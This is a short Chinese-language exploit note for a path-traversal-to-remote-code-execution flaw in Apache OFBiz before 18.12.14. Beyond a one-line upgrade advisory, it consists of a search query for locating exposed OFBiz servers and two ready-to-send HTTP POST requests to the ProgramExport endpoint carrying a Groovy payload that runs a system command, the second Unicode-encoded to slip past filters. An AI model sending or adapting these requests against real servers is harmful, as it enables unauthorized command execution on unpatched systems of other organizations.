Apache OFBIZ 路径遍历导致 RCE 的 EXP。
Apache OFBiz 存在对受限目录的路径名限制不当('路径遍历')漏洞。该问题影响 Apache OFBiz:18.12.14[不含] 之前的版本。建议用户升级到修复了该问题的 18.12.14 版本。
app="Apache_OFBiz"
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
使用 unicode 执行
id。
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
